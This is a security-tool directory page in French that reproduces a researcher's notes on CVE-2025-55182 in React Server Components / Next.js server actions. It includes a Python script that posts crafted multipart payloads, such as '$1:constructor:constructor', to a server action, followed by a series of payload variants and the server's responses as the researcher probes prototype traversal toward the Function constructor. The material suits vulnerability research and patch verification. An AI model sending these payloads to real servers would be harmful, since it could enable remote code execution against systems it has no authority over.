Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — some notes && (somewhat?) poc-adjacent stuff for CVE-2025-55182 | Kitploit
Outils/GitHubGitHub/c0rydoras/cve-2025-55182
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingArchived
GitHubc0rydoras/cve-2025-55182

CVE-2025-55182

some notes && (somewhat?) poc-adjacent stuff for CVE-2025-55182

Voir le dépôt
4il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182

Si vous cherchez une véritable explication, msanft/CVE-2025-55182 en propose une bonne (avec un PoC fonctionnel).

Ce dépôt ne contient que quelques trucs que j'ai essayés, qui ont donné des résultats plus ou moins intéressants. ./thing.py contient désormais un PoC fonctionnel, dont la majeure partie provient de https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3.

vieux trucs


modèle :

root@kitploit:~
#!/usr/bin/env python3

import httpx

c = httpx.Client(base_url="http://localhost:3000")

ACTION_ID = "40215f71f44d409c19d8a149a5538b4444ba69ee0a"

files = {
    "0": (None, '["$1:constructor:constructor"]'),
    "1": (None, '{"a": "b"}'),
}

r = c.post("/", files=files, headers={"Next-Action": ACTION_ID})

code pertinent : https://github.com/facebook/react/blob/bf1afade8d95d2ef6e862d995ee74921ca8d47c7/packages/react-server/src/ReactFlightServer.js#L2787-L2805 (et plus)

quelques exemples

root@kitploit:~
files = {
  0: (None, '["$1:constructor:constructor"]'),
  1: (None, '{"a": "b"}'),
};
root@kitploit:~
Received: [Function: Function]
 POST / 200 in 25ms (compile: 9ms, render: 16ms)

root@kitploit:~
files = {
  0: (None, '["$1"]'),
  1: (None, "$@"),
};
root@kitploit:~
Received: <ref *1> Promise {
  status: 'rejected',
  value: null,
  reason: Error: Connection closed.
      at ignore-listed frames,
  _response: {
    _bundlerConfig: {},
    _prefix: '',
    _formData: FormData { '0': '["$1"]', '1': '"$@"' },
    _chunks: Map(3) { 0 => [Promise], 1 => [Promise], NaN => [Circular *1] },
    _closed: true,
    _closedReason: Error: Connection closed.
        at ignore-listed frames,
    _temporaryReferences: WeakMap { <items unknown> }
  }
}
 POST / 200 in 819ms (compile: 13ms, render: 807ms)

root@kitploit:~
files = {
    "0": (None, '["$F"]'),
}
root@kitploit:~
TypeError: chunk.reason.error is not a function
    at ignore-listed frames
 ⨯ uncaughtException: TypeError: chunk.reason.error is not a function
    at ignore-listed frames
 ⨯ uncaughtException:  TypeError: chunk.reason.error is not a function
    at ignore-listed frames
 ⨯ TypeError: Cannot read properties of null (reading 'id')
    at ignore-listed frames {
  digest: '1245562877'
}
 POST / 500 in 1687ms (compile: 10ms, render: 1677ms)

root@kitploit:~
files = {
    "0": (None, '["$T"]'),
}
root@kitploit:~
Received: [Function (anonymous)]
 ⨯ Error: Cannot access toString on the server. You cannot dot into a temporary client reference from a server component. You can only pass the value through to the client.
    at String (<anonymous>)
    at testAction (src/app/actions.ts:4:13)
  2 |
  3 | export async function testAction(formData: FormData) {
> 4 |     console.log("Received:", formData);
    |             ^
  5 |     return { ok: true };
  6 | } {
  digest: '3477126180'
}
 POST / 500 in 593ms (compile: 11ms, render: 582ms)

root@kitploit:~
files = {
    "0": (None, '{"then":"$T"}'),
}
root@kitploit:~
 POST / 500 in 598ms (compile: 15ms, render: 583ms)
 ⨯ Error: Attempted to call a temporary Client Reference from the server but it is on the client. It's not possible to invoke a client function from the server, it can only be rendered as a Component or passed to props of a Client Component.
    at ignore-listed frames {
  digest: '1436212446'
}
 POST / 500 in 541ms (compile: 16ms, render: 525ms)

root@kitploit:~
files = {
    "0": (None, '["$1:_response"]'),
    "1": (None, '"$@"')
}
root@kitploit:~
Received: <ref *1> {
  _bundlerConfig: {},
  _prefix: '',
  _formData: FormData { '0': '["$1:_response"]', '1': '"$@"' },
  _chunks: Map(3) {
    0 => Promise {
      status: 'fulfilled',
      value: [Array],
      reason: [Array],
      _response: [Circular *1]
    },
    1 => Promise {
      status: 'fulfilled',
      value: [Promise],
      reason: null,
      _response: [Circular *1]
    },
    NaN => Promise {
      status: 'rejected',
      value: null,
      reason: Error: Connection closed.
          at ignore-listed frames,
      _response: [Circular *1]
    }
  },
  _closed: true,
  _closedReason: Error: Connection closed.
      at ignore-listed frames,
  _temporaryReferences: WeakMap { <items unknown> }
}
 POST / 200 in 927ms (compile: 4ms, render: 923ms)

root@kitploit:~
files = {
    "0": (None, '["$S"]'),
}
root@kitploit:~
 ⨯ TypeError: Cannot read properties of null (reading 'arrayBuffer')
    at ignore-listed frames {
  digest: '2340683818'
}
 POST / 500 in 435ms (compile: 11ms, render: 424ms)

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '"$0"'),
}

expire


root@kitploit:~
files = {
    "0": (None, '{"then":"$1:getAll"}'),
    "1": (None, '"$2:_response:_formData"'),
    "2": (None, '"$@"'),
}
root@kitploit:~
 ⨯ TypeError: Illegal invocation
    at ignore-listed frames {
  code: 'ERR_INVALID_THIS',
  digest: '1625121216'
}
 POST / 500 in 23ms (compile: 4ms, render: 19ms)

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:call"}'),
    "1": (None, '"$2:constructor"'),
    "2": (None, '{"a":0}'),
}
root@kitploit:~
 ⨯ TypeError: runMicrotasks is not a function
    at ignore-listed frames {
  digest: '2378694217'
}
 POST / 500 in 20ms (compile: 4ms, render: 16ms)
Télécharger l’outil